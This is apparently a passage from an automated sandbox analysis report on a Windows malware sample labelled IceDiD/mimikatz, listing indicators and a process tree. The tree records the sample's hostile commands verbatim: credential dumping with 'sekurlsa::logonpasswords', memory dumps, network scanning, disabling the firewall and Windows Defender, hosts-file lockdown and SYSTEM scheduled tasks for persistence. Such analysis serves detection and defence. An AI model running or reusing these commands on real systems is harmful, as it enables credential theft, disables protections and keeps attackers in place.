\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe - NSIS installer 3 IoCs
resource yara_rule behavioral2/files/0x00080000000233c9-7.dat nsis_installer_2 behavioral2/files/0x00110000000233dc-14.dat nsis_installer_1 behavioral2/files/0x00110000000233dc-14.dat nsis_installer_2 - Modifies data under HKEY_USERS 44 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" mcimnvm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" mcimnvm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" mcimnvm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ mcimnvm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" mcimnvm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" jrrgbbtmm.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump jrrgbbtmm.exe - Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" mcimnvm.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" mcimnvm.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" mcimnvm.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 2872 PING.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 440 schtasks.exe 668 schtasks.exe 2928 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe - Suspicious behavior: LoadsDriver 15 IoCs
pid Process 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found - Suspicious behavior: RenamesItself 1 IoCs
pid Process 2560 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe - Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2560 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 3928 mcimnvm.exe Token: SeDebugPrivilege 2896 mcimnvm.exe Token: SeDebugPrivilege 3292 vfshost.exe Token: SeDebugPrivilege 1720 jrrgbbtmm.exe Token: SeLockMemoryPrivilege 1228 bcrbri.exe Token: SeLockMemoryPrivilege 1228 bcrbri.exe Token: SeDebugPrivilege 2296 jrrgbbtmm.exe Token: SeDebugPrivilege 5100 jrrgbbtmm.exe Token: SeDebugPrivilege 5708 jrrgbbtmm.exe Token: SeDebugPrivilege 2944 jrrgbbtmm.exe Token: SeDebugPrivilege 2100 jrrgbbtmm.exe Token: SeDebugPrivilege 5196 jrrgbbtmm.exe Token: SeDebugPrivilege 5624 jrrgbbtmm.exe Token: SeDebugPrivilege 5540 jrrgbbtmm.exe Token: SeDebugPrivilege 1000 jrrgbbtmm.exe Token: SeDebugPrivilege 5432 jrrgbbtmm.exe Token: SeDebugPrivilege 5116 jrrgbbtmm.exe Token: SeDebugPrivilege 4356 jrrgbbtmm.exe Token: SeDebugPrivilege 3356 jrrgbbtmm.exe Token: SeDebugPrivilege 3396 jrrgbbtmm.exe Token: SeDebugPrivilege 2616 jrrgbbtmm.exe Token: SeDebugPrivilege 6044 jrrgbbtmm.exe Token: SeDebugPrivilege 5924 jrrgbbtmm.exe - Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 2560 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe 2560 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe 3928 mcimnvm.exe 3928 mcimnvm.exe 2896 mcimnvm.exe 2896 mcimnvm.exe 2028 xohudmc.exe 2744 ogiqci.exe 4404 mcimnvm.exe 4404 mcimnvm.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2560 wrote to memory of 3076 2560 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe 80 PID 2560 wrote to memory of 3076 2560 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe 80 PID 2560 wrote to memory of 3076 2560 2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe 80 PID 3076 wrote to memory of 2872 3076 cmd.exe 82 PID 3076 wrote to memory of 2872 3076 cmd.exe 82 PID 3076 wrote to memory of 2872 3076 cmd.exe 82 PID 3076 wrote to memory of 3928 3076 cmd.exe 83 PID 3076 wrote to memory of 3928 3076 cmd.exe 83 PID 3076 wrote to memory of 3928 3076 cmd.exe 83 PID 2896 wrote to memory of 3952 2896 mcimnvm.exe 85 PID 2896 wrote to memory of 3952 2896 mcimnvm.exe 85 PID 2896 wrote to memory of 3952 2896 mcimnvm.exe 85 PID 3952 wrote to memory of 3096 3952 cmd.exe 87 PID 3952 wrote to memory of 3096 3952 cmd.exe 87 PID 3952 wrote to memory of 3096 3952 cmd.exe 87 PID 3952 wrote to memory of 3348 3952 cmd.exe 88 PID 3952 wrote to memory of 3348 3952 cmd.exe 88 PID 3952 wrote to memory of 3348 3952 cmd.exe 88 PID 3952 wrote to memory of 4492 3952 cmd.exe 89 PID 3952 wrote to memory of 4492 3952 cmd.exe 89 PID 3952 wrote to memory of 4492 3952 cmd.exe 89 PID 3952 wrote to memory of 2828 3952 cmd.exe 90 PID 3952 wrote to memory of 2828 3952 cmd.exe 90 PID 3952 wrote to memory of 2828 3952 cmd.exe 90 PID 3952 wrote to memory of 4304 3952 cmd.exe 91 PID 3952 wrote to memory of 4304 3952 cmd.exe 91 PID 3952 wrote to memory of 4304 3952 cmd.exe 91 PID 3952 wrote to memory of 2608 3952 cmd.exe 92 PID 3952 wrote to memory of 2608 3952 cmd.exe 92 PID 3952 wrote to memory of 2608 3952 cmd.exe 92 PID 2896 wrote to memory of 2060 2896 mcimnvm.exe 93 PID 2896 wrote to memory of 2060 2896 mcimnvm.exe 93 PID 2896 wrote to memory of 2060 2896 mcimnvm.exe 93 PID 2896 wrote to memory of 440 2896 mcimnvm.exe 96 PID 2896 wrote to memory of 440 2896 mcimnvm.exe 96 PID 2896 wrote to memory of 440 2896 mcimnvm.exe 96 PID 2896 wrote to memory of 1580 2896 mcimnvm.exe 99 PID 2896 wrote to memory of 1580 2896 mcimnvm.exe 99 PID 2896 wrote to memory of 1580 2896 mcimnvm.exe 99 PID 2896 wrote to memory of 4880 2896 mcimnvm.exe 107 PID 2896 wrote to memory of 4880 2896 mcimnvm.exe 107 PID 2896 wrote to memory of 4880 2896 mcimnvm.exe 107 PID 4880 wrote to memory of 732 4880 cmd.exe 109 PID 4880 wrote to memory of 732 4880 cmd.exe 109 PID 4880 wrote to memory of 732 4880 cmd.exe 109 PID 732 wrote to memory of 2468 732 wpcap.exe 110 PID 732 wrote to memory of 2468 732 wpcap.exe 110 PID 732 wrote to memory of 2468 732 wpcap.exe 110 PID 2468 wrote to memory of 3300 2468 net.exe 112 PID 2468 wrote to memory of 3300 2468 net.exe 112 PID 2468 wrote to memory of 3300 2468 net.exe 112 PID 732 wrote to memory of 3612 732 wpcap.exe 113 PID 732 wrote to memory of 3612 732 wpcap.exe 113 PID 732 wrote to memory of 3612 732 wpcap.exe 113 PID 3612 wrote to memory of 2532 3612 net.exe 115 PID 3612 wrote to memory of 2532 3612 net.exe 115 PID 3612 wrote to memory of 2532 3612 net.exe 115 PID 732 wrote to memory of 4584 732 wpcap.exe 116 PID 732 wrote to memory of 4584 732 wpcap.exe 116 PID 732 wrote to memory of 4584 732 wpcap.exe 116 PID 4584 wrote to memory of 4080 4584 net.exe 118 PID 4584 wrote to memory of 4080 4584 net.exe 118 PID 4584 wrote to memory of 4080 4584 net.exe 118 PID 732 wrote to memory of 2576 732 wpcap.exe 119
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2068
-
C:\Windows\TEMP\ymelerulu\bcrbri.exe"C:\Windows\TEMP\ymelerulu\bcrbri.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1228
-
-
C:\Users\Admin\AppData\Local\Temp\2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-06-28_0d379dfb30934cb32146bf40d7aa6459_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tgindfmu\mcimnvm.exe2⤵
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2872
-
-
C:\Windows\tgindfmu\mcimnvm.exeC:\Windows\tgindfmu\mcimnvm.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3928
-
-
-
C:\Windows\tgindfmu\mcimnvm.exeC:\Windows\tgindfmu\mcimnvm.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:3952 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3096
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:3348
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4492
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2828
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4304
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2608
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:2060
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:440
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1580
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\vynlhdice\lrzberikl\wpcap.exe /S2⤵
- Suspicious use of WriteProcessMemory
PID:4880 -
C:\Windows\vynlhdice\lrzberikl\wpcap.exeC:\Windows\vynlhdice\lrzberikl\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:732 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:3300
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:3612 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2532
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:4080
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2576
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:1740
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:4180
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:744
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1320
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:3932
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2560
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:4540
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\vynlhdice\lrzberikl\cgybaeemc.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\vynlhdice\lrzberikl\Scant.txt2⤵PID:2304
-
C:\Windows\vynlhdice\lrzberikl\cgybaeemc.exeC:\Windows\vynlhdice\lrzberikl\cgybaeemc.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\vynlhdice\lrzberikl\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3220
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\vynlhdice\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\vynlhdice\Corporate\log.txt2⤵
- Drops file in Windows directory
PID:3808 -
C:\Windows\vynlhdice\Corporate\vfshost.exeC:\Windows\vynlhdice\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3292
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "lgrnevnqu" /ru system /tr "cmd /c C:\Windows\ime\mcimnvm.exe"2⤵PID:3960
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3388
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "lgrnevnqu" /ru system /tr "cmd /c C:\Windows\ime\mcimnvm.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:440
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vgimubnie" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tgindfmu\mcimnvm.exe /p everyone:F"2⤵PID:4268
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3252
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "vgimubnie" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tgindfmu\mcimnvm.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:668
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ubtmrdglc" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ymelerulu\bcrbri.exe /p everyone:F"2⤵PID:1916
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:4772
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ubtmrdglc" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ymelerulu\bcrbri.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2928
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:2732
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1444
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1668
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:5012
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:5100
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:2448
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:3596
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1936
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1504
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:2576
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:3260
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1624
-
-
C:\Windows\TEMP\vynlhdice\jrrgbbtmm.exeC:\Windows\TEMP\vynlhdice\jrrgbbtmm.exe -accepteula -mp 780 C:\Windows\TEMP\vynlhdice\780.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1720
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:3204
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:1540
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:1852
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:4936
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4336
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:3928
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4600
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:3828
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:4772
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:1324
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:2828
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:3960
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:4664
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:3488
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:1984
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:1608
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:2604
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:5112
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:4652
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:4796
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:396
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:4412
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:3524
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
PID:1800
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:2028
-
-
C:\Windows\TEMP\vynlhdice\jrrgbbtmm.exeC:\Windows\TEMP\vynlhdice\jrrgbbtmm.exe -accepteula -mp 60 C:\Windows\TEMP\vynlhdice\60.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2296
-
-
C:\Windows\TEMP\vynlhdice\jrrgbbtmm.exeC:\Windows\TEMP\vynlhdice\jrrgbbtmm.exe -accepteula -mp 2068 C:\Windows\TEMP\vynlhdice\2068.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5100
-
-
